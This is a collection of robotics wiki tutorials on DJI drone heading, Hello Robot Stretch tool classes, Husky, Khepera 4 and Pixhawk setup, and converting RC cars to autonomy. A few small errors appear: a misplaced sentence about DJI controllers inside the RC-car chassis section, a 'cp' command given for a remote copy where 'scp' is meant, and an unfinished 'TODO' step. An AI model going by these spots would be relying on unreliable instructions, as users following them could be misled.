-1. Since the aircraft uses a NED (North-East-Down) coordinate system which aligns the positive X, Y, and Z axes with the North, East, and Down directions, respectively, the attitude information (roll, pitch, and yaw) we get for the drone at any point is independent of the roll, pitch, yaw of the aircraft at the take-off location. -- It follows from the above that the yaw information we get from the data gives us the magnetic heading of the aircraft. This heading is measured with respect to the magnetic North and is positive towards East. The value of yaw (and thus, heading) ranges from -180 degrees to +180 degrees. -- Since the origin of the world coordinate system is usually the take-off location, altitude reported in the flight data is with respect to the starting location. So, even if you are flying on a hilly terrain with altitude (used by the DJI SDK) set to a constant number, the aircraft’s altitude with respect to the ground points over which it flies will keep changing because the aircraft controls try to make the aircraft altitude constant with respect to the take-off location. - -## Importance of using a Compass -If you got the second point above, then you probably understand outdoor navigation well enough. If not, [this link](http://diydrones.com/profiles/blogs/the-difference-between-heading) gives a really concise overview of the terms used in navigation. One important point to note is that heading does not give the direction in which the drone is flying, it gives the direction to which the drone points while flying. And, the heading we get using the DJI SDK is with respect to the magnetic North, not true North. [A forum discussion](http://forum.dji.com/thread-14103-1-1.html) makes discussion makes clear the importance and need of compass even though the aircraft might have a good GPS receiver. Additionally, it discusses the compass's use in various modes, like ‘Course-lock’ that DJI offers. It also sheds light on why compass calibration is important and what kind of changes in magnetic fields it compensates for. - -## Waypoint Navigation -Want to create a waypoint navigation app of your own using DJI Mobile SDK? You may find the following links useful: -- DJI Quick Start: https://developer.dji.com/mobile-sdk/documentation/quick-start/index.html -- DJI Android Tutorial: https://developer.dji.com/mobile-sdk/documentation/android-tutorials/GSDemo-Google-Map.html -- The following Github repositories give you demos to create DJI Waypoint Mission apps: - - For Android platform: https://github.com/DJI-Mobile-SDK-Tutorials/Android-GSDemo-GoogleMap - - For iOS: https://github.com/DJI-Mobile-SDK-Tutorials/iOS-GSDemo - - -/wiki/common-platforms/hello-robot/ ---- -date: 2022-05-03 -title: Workign with the Hello Robot Stretch RE1 ---- -The Stretch RE1 by Hello Robot, is a lightweight and capable mobile manipulator designed to work safely around people in home and office environments. It has 4 degrees of freedom - a telescoping arm which can reach 50cm horizontally, a prismatic lift which can reach 110cm vertically, a differential drive base with a compact footprint of 34x34cm. - -The design principle of Hello Robot is making the mobile manipulation robot as simple as possible. To do that, Hello Robot referred to the Roomba robot for its omnidirectional mobile base design, adopted linear joints for simple lift and telescopic arm movement, and obtained enough degrees of freedom by adding pitch, and roll joints to the wrist. All together, the robot becomes a 3-DOF wrist and a 7_DOF robot. The robot’s operational principle is to have two modes that are navigation and manipulation. In the navigation mode, the robot’s telescopic arm retracts, and uses a mobile base as a main actuator. The robot can lower the lift joint and retract the arm joint to lower the robot’s COM and increase stability. In its manipulation mode, the robot uses the mobile base to perform rotations in addition to pure translations of Cartesian motion of the end of the arm. It is also possible to perform curvilinear motion. The Stretch RE1 is mainly designed to perform like a human in an indoor human environment. The configuration of the robot therefore, matches with human dimensions. - -This tutorial covers additonal functionality that the documentation of the Hello Robot does not include such as- - -(a) The HelloNode Class - -(b) The Tool Share Class - -## The HelloNode Class -The HelloNode class is defined in "hello_misc.py". This image below shows the location of the file as it would appear when cloning the stretch_ros package off of the github repository into your workspace. - -![Fig 1.](https://i.ibb.co/2SM17qS/location.png) - -This module has several useful functions along with the class and its methods. Following is a list of all the functions and methods that can be accessed from the HelloHelpers module: - -1. get_wrist_state() -2. get_lift_state() -3. get_left_finger_state() -4. get_p1_to_p2_matrix -5. move_to_pose() - HelloNode Class Method -6. get_robot_floor_pose_xya() - HelloNode Class Method - -Each of these functions and how best to use them are explained below in detail. First we will look at the functions and then the class methods: - -### get_wrist_state(joint_states) -The get_wrist_state() function takes in a joint_states object. The joint states object is essentially an array of joint positions for the arm extension. The index of a particular joint in the array can be accessed using the key value of that particular joint. For the wrist extension, these can be names from the list ['joint_arm_l0', 'joint_arm_l1', 'joint_arm_l2', 'joint_arm_l3']. Calling joint_states.name.index() where "joint_name" is a name from the list returns the index of the joint in that joint array. The index can then be usedd to access the joint value using the call joint_states.[] where attribute can be "position", "velocity" or "effort". The functions calculates the wrist position based on the individual extensions of each arm and then returns the wrist position values as [wrist_position, wrist_velocity, wrist_effort]. - -### get_lift_state(joint_states) -The get_list_state functions also takes in a joint_states object. This function then indexs for the "joint_lift" and then returns a list of [lift_position, lift_velocity, lift_effort]. The methods of extracting the values are the same as described earlier. - -### get_left_finger_state(joint_states) -The get_left_finger_state functions also takes in a joint_states object. This function then indexs for the "joint_gripper_finger_left" and then returns a list of [left_finger_position, left_finger_velocity, left_finger_effort]. The methods of extracting the values are the same as described earlier. - -### get_p1_to_p2_matrix(, , tf2_buffer, lookup_time=None, timeout_s=None) -This function while it is a function from the module, requires the ROS node to be running and a tf_buffer object to be passed to it. It returns a 4x4 affine transform that takes points in the p1 frame to points in the p2 frame. - -### move_to_pose(pose) -The move_to_pose is a HelloNode class method that takes in a pose dictionary. The dictionary has key-value pairs where the keys are joint names and the values are the joint values that are to be commanded. An example joint-value dictionary that can be sent to the move_to_pose function is "{'joint': 'translate_mobile_base', 'inc': self.square_side}". One point to be noted is that the main stretch ROS driver has to be shifted into position mode to take the joint values for each joint. The provided examples controls the base by referring to it's joint name "translate_mobile_base". This type of control is not possible if the stretch_driver is in manipulation or navigation mode. - -### get_robot_floor_pose_xya() -The get_robot_floor_pose_xya() is another HelloNode class method that uses the function get_p1_to_p2_matrix to get the robot's base_link position and orientation and projects it onto the floor. The function returns a list of the robot's x, y position and the orientation angle in radians. - -**Note: In order to get ROS running after initializing the class, the main method of the class has to also be called. This will initialize the ROS node and the tf buffer. This is essential before the functions that require ROS can be utilized** - -## The ToolShare Class -The Hello robot comes with a gripper or a dex wrist which can handle a variety of tasks. However, if users have a custom tool for a specific task, the platform provides the ability to swap the existing tool with the new one. The tutorial below explains how to twitch a custom tool to the robot in detail. - -- If the tool has no motors -The ToolNone interface should be loaded when no tool is attached to the Wrist Yaw joint. To switch to this interface, update the field in your stretch_re1_user_params.yaml to: -robot: -tool: tool_none - -- If the tool has one or more motors: It is a good idea if dynamixel motors are used for tool actuation. The hello robot already comes with a dynamixel motor interface which makes controlling the motors easier. These motors can be daisy chained to the current robot structure, making it modular and easy to use. The motors can be daisy chained as shown below. - ![Fig 2.](https://i.ibb.co/m4qbjBL/ex-106-dual.png) - -Now to use your tool : - -Tool usage with the end_of_arm method can be seen [here](https://docs.hello-robot.com/tool_change_tutorial/). To change the tool without this method - the following steps should be followed. Usually following the end_of_arm method gives you limited capability in terms of using the tool. However, it has advantages like better communication between the stretch driver and the tool. - -1. The tool in the user params file has to first be changed to tool_none as shown earlier. After this, the parameters of your tool need to be specified clearly in the user params files. This means specifying its baud rate, motion parameters, torque parameters, range etc. A format for the same can be found by looking at the factory parameters for the gripper or the wrist_yaw joint. These are parameters referring to the motor and should be done for every motor used. - -2. The name/ title of the tool refers to the python class made for the tool. For example, here : gripper is a class inheriting from the dynamixel motor class which defines functions like homing, move_to, move_by for the motor. Each motor should have a class like this for separate control. - -3. Functions of the tool - -These are some of the functions that have to be included in the tool class. This class inherits from the (DynamixelHelloXL430) class already present on the robot. - -- Homing: When using any tool with motors, the tool needs to be homed separately. This allows the robot to calibrate the tool before using it. Homing for motors can be done in a one stop or multi stop process depending on the hardstops present on your tool. One stop homing of motors is easy and effective. Once the first hardstop is hit, it makes that position as the zero of the motor and then reaches its initial calculated position or any position you specify. -- move_to : you can directly command the motor to reach a given position relative to its zero position. The move to command can be given in degrees or radians or ticks. However, this distance should be within the range of the motor ticks. The function looks somewhat like this: -- move_by. : you can command the mor to move by an incremental distance. This distance can be positive or negative and is given in degrees/ radians/ ticks. The function looks somewhat like: -- Other functions like startup, init, pose can be inherited from the motor class. These help in smooth functioning of the robot. - -4. Adding to the URDF -If you have the design of your custom tool in solidworks or fusion, it is easy to add it to the existing URDF model. - -[For solidworks](http://wiki.ros.org/sw_urdf_exporter) - -[For fusion](https://github.com/syuntoku14/fusion2urdf) - -These plugins convery your solidworks/ fusion model to the URDF format. Be careful while naming your joints, joint types and origin. The joints, especially, have to be imported carefully with their constraints and types to the urdf model. The plugins generate mesh files (in STL format), zacro files and a .urdf file. All of these files are needed for the further steps. These files need to be on the stretch robot. After receiving the mesh files, the mesh files need to be copied to the stretch_description folder in stretch_ros. The urdf part for the tool also needs to be added in the actual urdf of the robot. - -``` -$ cd ~/ -$ cp ~/catkin_ws/src/stretch_ros/stretch_description/urdf/ -$ cp /meshes/*.STL ~/catkin_ws/src/stretch_ros/stretch_description/meshes/ -``` - -Now the tool Xacro for Stretch needs to be edited. This is done by opening ~/catkin_ws/src/stretch_ros/stretch_description/urdf/stretch_description.xacro in an editor, and commenting out the current tool Xacro and including the Xacro for the new tool in the same format. After this, we have to reflect the .urdf and xacro changes in the model. - -``` -$ cd ~/catkin_ws/src/stretch_ros/stretch_description/urdf -$ cp stretch.urdf stretch.urdf.bak -$ rosrun stretch_calibration update_urdf_after_xacro_change.sh -``` - -Now, we can visualize the tool in RViz. In case the tool is not oriented properly, you can open the .urdf file and change the visual and collision orientations (x,y,z and r,p,y) to reflect the changes in your visualization. - -Running the tool : You are now ready to run your custom tool with the Hello interface! Your python scripts can call either the tool as a separate class or as a part of the end_of_arm class. The script should include homing, startup, your tool operation and end of process. - -## Summary -Using the above tutorials, one can get started easily with the HelloNode and ToolShare class. - -## See Also: -- Links to relevant material within the Robotics Knowledgebase go here. - -## Further Reading -- [Hello Robot Documentation](http://docs.hello-robot.com/) -- [Hello Node class](https://github.com/hello-robot/stretch_ros/blob/master/hello_helpers/src/hello_helpers/hello_misc.py) -- [Tool Share examples](https://github.com/hello-robot/stretch_tool_share) - - -/wiki/common-platforms/husky-interfacing-and-communication/ ---- -date: 2019-05-14 -title: Husky Interfacing and Communication ---- - -This excerpt covers the basic methodologies to set up communication channels with the Clearpath Husky and make sure the hardware is receiving commands that are input by the user. The article will cover the hardware used for Husky's onboard processing, additional hardware needed for better Localization and a brief description of Husky's ROS packages for Localization. - -## Husky Onboard Controller: - The main communication channel between the user and the Husky is through an onboard computer. Therefore, based on the project and the algorithms to be run on the Husky, a selection of onboard computer may be made. Nvidia Jetson and Zotac are the two popular onboard computers among Carnegie Mellon University (CMU) Masters in Robotic Systems Development (MRSD) students. - - This article discusses the Nvidia Jetson, its initial integration with the Husky and the advantages of this device in other Husky related tasks. - - The Nvidia Jetson is a good choice for the Husky’s onboard computation. As the Jetson has significant compute power, it can host computation heavy algorithms needed for SLAM(simultaneous localization and mapping) and Path Planning. - - To integrate the Jetson with the Husky, first, the Jetson has to be powered using a 12 volt supply that can be drawn from the Husky's battery-powered electric outputs that are located in the open compartment of the Husky. Also, two Wi-Fi antennas need to be electrically connected to the Jetson. These help in easily accessing the Jetson's folders via Secure Shell(SSH), more on this later. Once the Jetson is powered, it has to be flashed with Linux OS. The detailed steps for flashing the Jetson can be obtained via these YouTube videos: - -[*Flashing NVIDIA Jetson TX2*](https://www.youtube.com/watch?v=9uMvXqhjxaQ) - -[*JetPack 3.0 - NVIDIA Jetson TX2*](https://www.youtube.com/watch?v=D7lkth34rgM) - - Now the Jetson should be connected to a common WiFi network as the user's laptop. The Jetson's IP address can be obtained by typing "ifconfig" command in the Terminal window\. Then an SSH communication can be set up between the user's laptop and the Jetson using the command: *ssh "your_jetson_devise_name"@ipaddress* Ex: ssh husky\_nvidia@192\.168\.0\.102 -Once a secure shell connection is established between the user’s laptop and the Jetson, Husky control commands can be sent via this connection. - -## Husky Teleoperation - To test the working of Husky’s internal hardware, a simple Husky movement check would be sufficient. The Husky movement can be achieved by teleoperation commands. The ‘teleop_twist_keyboard’ ROS package can be utilized for this purpose. To install this package to /opt/ros folder, the following command can be used via Terminal : -*$ sudo apt-get install ros-kinetic-teleop-twist-keyboard* - -This package can be run using the command *$ rosrun teleop_twist_keyboard teleop_twist_keyboard.py* - -By using the keyboard buttons u; i; o; j; k; l; m; , ; . the Husky’s movement can be tested. - -## Husky Localization -After the initial communication setup of the Husky, the Husky outdoor Localization can be achieved using the following hardware: -1. UM7 IMU -2. GPS receiver -3. Odometry (*Utilizes the Husky’s internal hardware*) - - First, each of the above hardware's working can be testing using a simple *rostopic echo* command. If all three hardware publish data, the Husky's localization can be tested using the Clearpath Husky's outdoor package. - -A detailed description of the navigation package can be found in the following link: - - -## Summary -Using the above description, the Clearpath Husky can be set up easily and quickly. - - -/wiki/common-platforms/khepera4/ ---- -date: 2022-04-29 -title: Khepera 4 -published: true ---- -This article with serve as an introduction, overview, and quick-start guide to K-Team's Khepera 4 robots. - -![Put a relevant caption here](/assets/images/common-platforms/KHEPERA4.png) - -The Khepera 4 is a robot platform designed for indoor applications, meant to operate on tables and floor of labs. They are meant to provide a way to test algorithms developed in simulations or on paper in the real world. They're most often used to test navigation, swarm, and artificial intelligence applications, providing researchers an easy way to see how their code runs on an actual robot. - -## Overview -Website about the Khepera 4: [link](https://www.k-team.com/khepera-iv) - -The Khepera 4 is a circular, differential drive robot. It is 140.8 mm in in diameter and can carry up to 2 kg. It has a suite of sensors built-in: 3-axis gyroscope & accelerometer, 5 ultrasonic sensors, 12 infrared sensors, wheel encoders, and a front-facing camera. It also supports various add-ons through connectors at the top of the robot, allowing you to get [upward-facing camera](https://www.k-team.com/extensions-khepera-iv#stargazer) or install a [LIDAR sensor](https://www.k-team.com/extensions-khepera-iv#laserrangefinder). More detailed information can be found in the user manual: [link](https://ftp.k-team.com/KheperaIV/software/Gumstix%20COM%20Y/UserManual/Khepera%20IV%20User%20Manual%204.x.pdf) - -## Quick-start guide -The quick-start guide will discuss how to program and compile for the Khepera 4, and how to get it onto the robot. - -### Programming -To program for the Khepera 4, you will need a cross-compiler. A compiler turns high-level code into machine code that can be executed by a processor. A cross-compiler does the same thing, but for a processor other than the one compiling the code. While you will be developing and compiling the code on your computer, your computer won't run the code; the Khepera 4 will; therefore, you will need a cross-compiler. - -The instructions for installing a cross-compiler can be found in the [user manual ch 5](https://ftp.k-team.com/KheperaIV/software/Gumstix%20COM%20Y/UserManual/Khepera%20IV%20User%20Manual%204.x.pdf#page=36). The light toolchain will most likely be sufficient for your use, unless you want to modify the kernel running on the Khepera 4. Follow the instructions to get the cross-compiler; when you get to the [FTP](https://ftp.k-team.com/KheperaIV/software/), I picked the *Gumstix COM Y* folder. Continue on with the installation, per the instructions. - -Once installation is complete, you can run the *make* command to use the cross-compiler, assuming the Makefile is set up properly. At the installed location, the *template* directory will provide example code and Makefile that you can play around with. Using this as an example for the rest of the article, when you run *make* it will use *prog-template.c* to generate *prog-template.o* and *template*; the latter is the binary that the Khepera 4 will actually use. Now, you have a binary you can execute on the Khepera 4! - -### WiFi -Before the Khepera 4 can execute your code, you have to get it on their first. The easiest way is SCP, but you need a WiFi connection to do that. Straight out of the box, you probably won't be able to access it through WiFi, so here's how you set that up. - -First, you need to connect to the Khepera 4 over WiFi: - -1. Connect to the Khepera 4 using a USB cable; connect it to the robot's USB mini port. On Ubuntu, the robot should show up as */dev/ttyACM0* -2. Use a serial port software to communicate with it; I used minicom. To run minicom, run *minicom -s* -3. After running the command above, you can configure your settings; here's what you need to communicate properly: **TODO** - -Once you have serial communication with the Khepera 4, you can access its files. You'll need to modify two files: */etc/systemd/network/wifi.network* and */etc/wpa_supplicant/wpa_supplicant-wlan0.conf*. *wifi.network* configures what the robot's IP address should be (or if it should be assigned dynamically by the router). *wpa_supplicant-wlan0.conf* configures what network it should connect to, and what username or password it should use if that's the case. Here's an example for a TPLINK router: -``` -wifi.network: -[Match] -Name=wlan0 - -[Network] -DNS=192.168.0.1 -Address=192.168.0.108/24 -``` -``` -ctrl_interface=/var/run/wpa_supplicant -ctrl_interface_group=0 -update_config=1 - -network={ - ssid="TP-Link_ASDF" - proto=WPA2 - key_mgmt=WPA-PSK - pairwise=CCMP TKIP - group=CCMP TKIP - psk="pwd" - priority=10 - scan_ssid=1 -} -``` -Example above will configure the Khepera 4 to connect to WiFi named *TP-Link_ASDF* using password *pwd*, and it will have the IP address of *192.168.0.108* with subnet mask *255.255.255.0*. Make sure the DNS is valid for your specific WiFi! - -Power cycling the robot after changing the WiFi settings is usually a good idea. - -### ssh & scp -Now that you have the Khepera 4 connected to the internet, you can SSH into it, allowing you to communicate without relying on a USB cable. Make sure your computer is connected to the same WiFi as the one you configured the Khepera 4 to connect to. Then, use the following command to SSH into the khepera: -``` -ssh root@192.168.0.108 -``` -If you're asked if you trust this IP address, say yes. Now, you can navigate the Khepera 4's computer like you would a terminal: *ls*, *cp*, *mv*, etc. - -If you're still in the *template* directory, and you have the binary that you cross-compiled called *template*, then you can transfer it over to the Khepera 4 using SCP: -``` -cp template root@192.168.0.108:/home/root -``` -This will put the *template* binary file on the robot with IP address 192.168.0.108 at the location */home/root*. - -To run the template file, run it like any executable on your on computer. For instance, SSH into the Khepera 4 then use the following command: -``` -./template -``` - -## Example -When installing the libraries and the cross-compiler, there's a very useful example provided by K-Team: *libkhepera-2.1/src/tests/kh4_example.c*. This will provide the user examples for reading sensor data and displaying them to terminal. - -Another source for examples is RoboSAR, Team F from MRSD 2023, who has Khepera code that could be useful; here's their repo: [link](https://github.com/MRSD-Team-RoboSAR/robosar_khepera_code). The *main* function simply reads and transmits sensor data (including LIDAR) to another computer on the same network using UDP, using protobuf to package the data. The code also executes some basic obstacle avoidance using infrared sensors, and uses LEDs to alert the user to the status of the robot. - -## Summary -The Khepera 4 is a robot useful for testing algorithms outside of simulation. We've covered how to communicate with it, and how to program it. We've also covered some example code that can give insight into how to read and act upon sensor data. - -## Further Reading -- [Khepera 4 Evaluation](https://os.zhdk.cloud.switch.ch/tind-tmp-epfl/853d7c2e-9435-4de6-a330-551a73483cf5?response-content-disposition=attachment%3B%20filename%2A%3DUTF-8%27%27k4_paper.pdf&response-content-type=application%2Fpdf&AWSAccessKeyId=ded3589a13b4450889b2f728d54861a6&Expires=1651355948&Signature=hY72qIqgOyX6BTqPigNKq7T%2FRNs%3D) - - -/wiki/common-platforms/pixhawk/ ---- -date: 2017-08-21 -title: Pixhawk UAV Platform ---- -This guide is meant for people using UAVs with the Pixhawk hardware and looking to control the UAV through a computer/microprocessor. - -## Set Up -### Firmware -This is the most confusing part of the Pixhawk/PX4/APM community. The Pixhawk is a hardware developed after multiple iterations (Older versions of hardware include the PX4 "board", and the "APM" board). The Pixhawk hardware can be set up with the PX4 or the APM firmware (the "choice"). -1. PX4 firmware or PX4 stack: Developed by the PX4 dev team led by [Lorenz Meier](https://github.com/LorenzMeier) from ETH Zurich: http://dev.px4.io/ -- APM firmware: Developed by the APM team. Usually shipped set up with the 3DR products: http://copter.ardupilot.org/ardupilot/index.html - - -It is only a matter or choice which firmware to use as both are fully compatible with the Pixhawk hardware and most UAV configurations. Few differences between them: - -- PX4 is iterated more often and tested while being developed, although their stable branch should always be in perfect working condition, whereas the APM is updated less often and is assumed to be more stable. -- At the time of testing, APM did not support Z-angular velocity commands to control the UAV. Though, this should be verified against the latest implementation. -- PX4 uses control groups for direct actuator control whereas APM uses the MAVlink `DO_SET_SERVO`. It may take a more time to understand but should not affect your decision. - -### Recommendation -If you have a pre-loaded firmware with the UAV, prefer using that. Switching firmware may reset the PID parameters which the manufacturers must have tuned for you. - -## Off-board Companion Computer -Most common uses of UAVs require them to be controlled by an external computer or microprocessor which runs the application software. Details about possible hardware, connection and control are given here: -### Hardware -Any computer or microprocessor is suitable for controlling the UAV. It should have a USB or a serial UART port to connect to the Pixhawk. A few systems that have been used: -1. Odroid (recommended due to higher processing power and ease of set up) -- BeagleBone Black -- Raspberry Pi - -### Connecting to the Pixhawk -- Processor side: - - Use an FTDI cable and connect to a USB on the laptop or microprocessor. (recommended) - - Use a serial UART connection. Make sure the UART is 3.3V IO. 1.8V IO (as on the Odroid) will require a logic level converter in the middle. -- Pixhawk side: - - TELEM2 port (recommended): Use the other side of the FTDI to connect to the TELEM2 port based on these instructions: PX4 or APM. Might need you to remove your radio for ground control station. Instead you will have to use the USB for connecting to the ground control. - - USB port on the Pixhawk (Not recommended): USB port is initialized on power up, hence may be unavailable for communication at certain moments. - - Serial 4: Documented as a viable option, but difficult to setup. - -### Recommendations -1. Use Odroid XU4 with FTDI cable and TELEM2 port. This is the most reliable configuration from experience. -- On PX4, set `SYS_COMPANION` to 921600 for highest possible rate of data updates from the UAV. -- To check the setup was done, either run mavros (introduced later) or simply open a serial terminal on the companion computer and listen on the FTDI port (/dev/ttyUSB0?) and appropriate baud rate. If gibberish is seen on the screen, the connection has been set up. - -## Offboard Control -In most common applications of the UAV, it needs to be externally controlled using the companion computer. Once the companion computer is set up, the following methods may be used: -1. ### [UAV serial](https://github.com/mavlink/c_uart_interface_example) - - Uses MAVlink to communicate commands directly to the UAV over serial . - - Pros: - - Provides access to low-level control. - - Recommended by the development lead. - - Well tested - - Cons: - - Requires more time to develop a full application. - - Limits you to using C++. - - Requires knowledge of pthreads for most applications. -- ### [MAVROS](http://wiki.ros.org/mavros) (recommended) - - MAVROS is a ROS framework over the MAVlink for communication with the UAV. It exposes required APIs over ROS topics and services. - - Set up instructions for the companion computer can be [found here](http://dev.px4.io/ros-mavros-installation.html). It exposes most utility items as ROS topics and services for utmost convenience. - - Pros: - - Provides ROS based access to features and utilities. - - Freedom of programming language - C++ and Python. - - Enables use of most ROS packages directly (for navigation, planning, and perception). - - Cons: - - No low level control of the firmware. - - May not have access to all APIs exposed by the firmware. - -## UAV state monitoring -The UAV's state can be easily monitored by simply subscribing to ROS topics. For example: -1. Local Position / Odometry: Can be obtained by subscribing to `/mavros/local_position/pose` or `/mavros/local_position/odom`. Note: The "local" position decides its origin whenever the Pixhawk boots up. -- Global Position /GPS coordinates: Can be obtained by subscribing to `/mavros/global_position/*`` -- State of the UAV: Subscribe to `/mavros/state` and `/mavros/extended_state` -- TF for the local position can be made available for updating the values in the `px4_config.yaml` or `apm_config.yaml`. - - -## Position Control -Position can be controlled easily by publishing local setpoints to `/mavros/setpoint_position/local`. -1. This control requires the UAV to be in `"OFFBOARD"` mode (PX4) or `"GUIDED"` mode (APM) to move the UAV. -- The positions are maintained in the local frame (with origin at last power cycle point). -- These should be published at a constant rate of at least 10 Hz. To add this functionality to an application, you may need to use a separate thread that can publish the current setpoint at 10 hz. -- Autonomous takeoff can be implemented using this directly. Setting a high waypoint with the same X and Y as the current position of the UAV, makes the UAV take off. - -### Tips: -- Use Python with a structure similar to [MAVROS offboard](http://dev.px4.io/ros-mavros-offboard.html) for a quick and robust implementation of threads. -- Autonomous landing can be implemented using the above example or using a separate mode on PX4 `Auto.LAND`. -- Landing state is received in the `extended_state` topic, and can be check to verify when the UAV has landed. - -## Velocity Control -Velocity of the UAV can be directly controlled by publishing to the `/mavros/sepoint_velocity/cmd_vel` topic. -1. This control requires the UAV to be in "OFFBOARD" mode (PX4) or "GUIDED" mode (APM) to move the UAV. -- Do note that the velocities are sent in the local frame (frame of UAV attached to he ground where it was powered up). Hence the velocity in x takes the UAV in one direction irrespective of its yaw. -- Can be used for sending velocity commands that come from various ROS planning nodes, but only after appropriate frame conversions. - -### Recommendation -- Velocity control is less robust than position control. Prefer position control where possible. -- If you are using MAVROS, look up `mavsetp`, `mavsys`, `mavsafety`, and `mavcmd` on the MAVROS Wiki for easy to use services to test your UAV. - -## Setting up a simulator -As testing on the real UAV is often dangerous, set up a simulation environment, which will help you test most of the code beforehand. -1. PX4. Multiple simulators are available: - 1. [SITL](http://dev.px4.io/simulation-sitl.html): Software in the loop. Can use `Jmavsim` as a simulator. Is easy to set up, but a little inconvenient to test. - - [Gazebo](http://dev.px4.io/simulation-gazebo.html): Similar to SITL, using the Gazebo simulation environment. Very powerful, but a little time consuming to set up. - - [Connect through ROS](http://dev.px4.io/simulation-ros-interface.html). -- APM - 1. [SITL](http://ardupilot.org/dev/docs/setting-up-sitl-on-linux.html) simulator. See above. - -## Additional Resoursces -- As the documentation on most of these items are still being developed. You may need to take help from the community in case of any trouble. - - PX4 forums: [px4-users](https://groups.google.com/forum/#!forum/px4users) Google group - - APM forums: http://forums.ardupilot.org/ - - Read source code for the firmware. - - Email developers directly. -- Recommended links for MAVROS references: - - Setup and MAVROS code: https://github.com/mavlink/mavros - - ROS wiki documentation: http://wiki.ros.org/mavros - - -/wiki/common-platforms/rccars-the-complete-guide/ ---- -date: 2023-05-03 -title: Making RC Vehicles Autonomous -published: true ---- -The goal of this guide is to discuss the trade-offs and choices to be made amongst the options available to set up an RC car and enable low-level feedback control such that the autonomy stack can be built on top of this platform. This can then serve as a test bench for autonomous cars. - - -## Chassis -In the world of RC vehicles, scale refers to the degree to which the dimensions of a full-sized car are reduced to create the RC model. Commonly available scales include 1/24, 1/18, 1/12, and 1/10. When deciding on a scale for an RC vehicle, there is a trade-off to consider. A larger scale vehicle provides more space for custom sensing and hardware, but may have a larger turning radius. On the other hand, a smaller scale vehicle will have a tighter turning radius, but may present challenges for customizing and mounting additional components due to space constraints.DJI drones have one of the best commercially available PID controllers along with its state of the art hardware, but for research and enterprise development users, the limitations imposed are noteworthy. After a certain depth, the software stack is locked from customization, and the controller performs much like a black box. - -An RC car with Ackermann steering is best suited for testing autonomous vehicles being built for city and highway driving. It is the most common steering mechanism found in commercial cars. This type of steering system is typically found in higher-end RC cars. If your goal is to work on the scaled representation of autonomous vehicles for a different environment: 1) Off-road autonomy: consider RC vehicles with bell crank or dual bell-crank steering systems, 2) Warehouse/Industrial settings: consider RC vehicles with differential drives and Mecanum wheels. The following content in this section lists and compares some popular off-the-shelf RC vehicles with an Ackermann steering. - -**Latrax Prerunner**: This car is a 1/18 scale 4 wheel drive RC vehicle with 2.4Ghz radio system equipped with 7.2v NiMH battery. It is an Ackerman steered RC vehicle with a drag link. It comes with plastic servos for steering and a plastic spur gear in the drive train. - -**Horizon Axial**: The SCX24 Deadbolt is 1/24 Scale 4 wheel drive RC car with Axial AX-4 and 2.4GHz 3-channel radio system. It comes equipped with a 350mAh 7.4V LiPo battery. - -**Traxxas XL-5**: The Traxxas XL - 5 is 1/10 scale RC vehicle with 2.4 GHz radio system and 3000mAh, 8.4V, 7-cell NiMH battery. It comes with a metal servo and adjustable suspensions. - -**Roboworks ACS**: This 1/10 scale RC vehicle comes with ready to plug slots for ROS controller, LiDAR and Camera. It is equipped with onboard Ubuntu, ROS1 and STM32 drivers. It is the most holistic research RC vehicle platform that is currently available for use. - -| Serial No. | Criteria | Latrax Prerunner | Horizon Axial | Traxxas XL-5 | Roboworks ACS -| ------------- | ------------- |------------- |------------- |------------- |------------- | -| 1 | Inbuilt Sensors | 1 | 1 | 1 | 8 | -| 2 | Extensibility | 8 | 1 | 8 | 6 | -| 3 | Cost | 8 | 8 | 5 | 1 | -| 4 | Workability | 5 | 1 | 8 | 10 | -| 5 | Modularity | 6 | 1 | 8 | 10 | -| 6 | Spare Parts | 10 | 10 | 10 | 3 | - -_Disclaimer: The scores assigned are the personal opinions of the author and not intended to promote/slander and product/brand._ - -## Electric Drive System -Brushless DC motors offer advantages over brushed DC motors for autonomous driving due to their electronic commutation, faster response time, and greater efficiency. Brushless motors allow for more precise and accurate control of speed and torque through electronic control. In brushed DC motors the brushes and commutators can create friction, wear and tear, and electromagnetic interference that may limit precision and accuracy over time. However, brushed DC motors are generally less expensive, simpler in design, and relatively simpler to control electronically. - -For the electronic speed control of motors, a power electronic circuit is used to modulate the power supplied. It is critical to choose the right ESC based on the power ratings of the motor and the battery. ESCs typically can be controlled via PWM signals - you can use a microcontroller/single-board computer to do so. Using hardware PWM pins offer more accurate control, and it is recommended to use them whenever possible. ESCs typically operate at 50Hz with pulse range 1000 microseconds to 2000 microseconds; here it corresponds to 5% and 10% of duty cycle respectively. Pay close attention to understanding what the beep(s) of your ESC means, be sure to carry out the arm process (safely) upon powering up the ESC, and perform any other required calibration through the UI tool or by flashing a different firmware onto the ESC. This [tutorial](https://www.circuitbasics.com/introduction-to-dc-motors-2/) introduces speed control of DC motors. - -Note: ESCs also have BEC (Battery Eliminator Circuit) which provides a 5V output that can be used to power other on-board devices. - -## Sensor suite for odometry -There are various options to choose from whilst trying to get odometry feedback from RC vehicles. This simplest way to do so is by using rotary encoders on the wheels - however their output can be misleading when factors like wheel slip come into play. There are various choices in terms of the form factor and sensing technology available here. - -Another option to incorporate feedback is to measure the RPM of the motor - multiply this by the final drive ratio and the wheel diameter to estimate the vehicle odometry. This can again be done in multiple ways i.e., via a sensored motor or by integrating a tachometer or by using E-RPM (Electronic RPM: estimated from the back EMF generated by the motor) feedback from the motor. - -Finally, an inertial measurement unit can also be used to simulate odometry by integrating the acceleration and angular velocities. However, it is not recommended that this is used as the sole source of odometry information as it is difficult to estimate the bias in IMUs and errors in the odometry estimation can accumulate quickly. - -## Microcontrollers and single board controllers -There is a plethora of compact computing devices available for building and deploying algorithms (Arduino boards, ESP series, Intel NUC, Raspberry Pi SBCs, Jetson SBCs, boards from National Instruments, etc.). Consider the number of different pins and their types available on the device, built-in communication protocols, computing power and RAM, microROS vs ROS serial vs a specific distribution of ROS. - -## Configuring the VESC 6 EDU and controlling it via ROS Noetic deployed on a Raspberry Pi 4B. -The first step was configuring a light-weight Ubuntu distribution to deploy ROS Noetic on the Raspberry Pi. We found that working with an Ubuntu Server was the best solution - a lot of the development was then done remotely via SSH/updating repos from commits on Github. Some important next steps were to edit the Netplan config files to configure WiFi, set up a GitHub SSH key, enable SSH, install ROS Noetic (base), and install GPIO libraries. If you need to synchronize timestamps across a distributed system - use Chrony which is an implementation of NTP. Using Chrony a server-client architecture can be established, and one single clock can be assumed to be the ground truth - and tracked by different systems on the network (if more precision is required, consider using PTP). Follow the F1Tenth documentation to configure the VESC. Be sure to avoid any ground loops when working with the VESC as it could lead to the VESC getting damaged and spoilt. The ROS Noetic branch for VESC is available [here](https://github.com/VineetTambe/vesc) (access to IMU data was added). Use the VESC 